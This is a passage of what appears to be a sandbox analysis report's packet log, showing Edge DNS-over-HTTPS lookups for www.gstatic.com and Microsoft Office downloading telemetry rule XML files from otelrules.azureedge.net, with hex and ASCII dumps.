2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b2598c7469b-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c7 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49874	162.159.61.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b25cb4445e9-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a7 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-17df447cdb5w28bthC1DFWgb640000000bb000000000fdt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:28 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:28 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 5c63f72a-901e-0067-46a3-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-15869dbbcc6hgzkhhC1DFWgtqs00000006tg00000000az5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 791f132d-601e-003e-49a7-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-17df447cdb5rnd49hC1DFWgmpw000000063g0000000059f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:28 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-16547b76f7fkj7j4hC1DFW0a9g0000000fag00000000cygz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:28 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-16547b76f7fp6mhthC1DFWrggn0000000fgg00000000aqga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 61156bc2-801e-008f-01a1-342c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-15869dbbcc6lxrkghC1DFWqpdc00000007v0000000004xu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 846f043b-001e-0017-58a7-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-17df447cdb5t94hvhC1DFWw9780000000c6000000000ay21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b0821c67-a01e-0050-16a0-34db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-17df447cdb5lrwcchC1DFWphes0000000bs0000000009qcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:28 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0aff24d-301e-000c-58d2-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093728Z-16547b76f7fm7xw6hC1DFW5px40000000ffg00000000009w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:28 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:29 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:29 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093729Z-16547b76f7f7jnp2hC1DFWfc300000000fhg000000003gdb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:29 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" 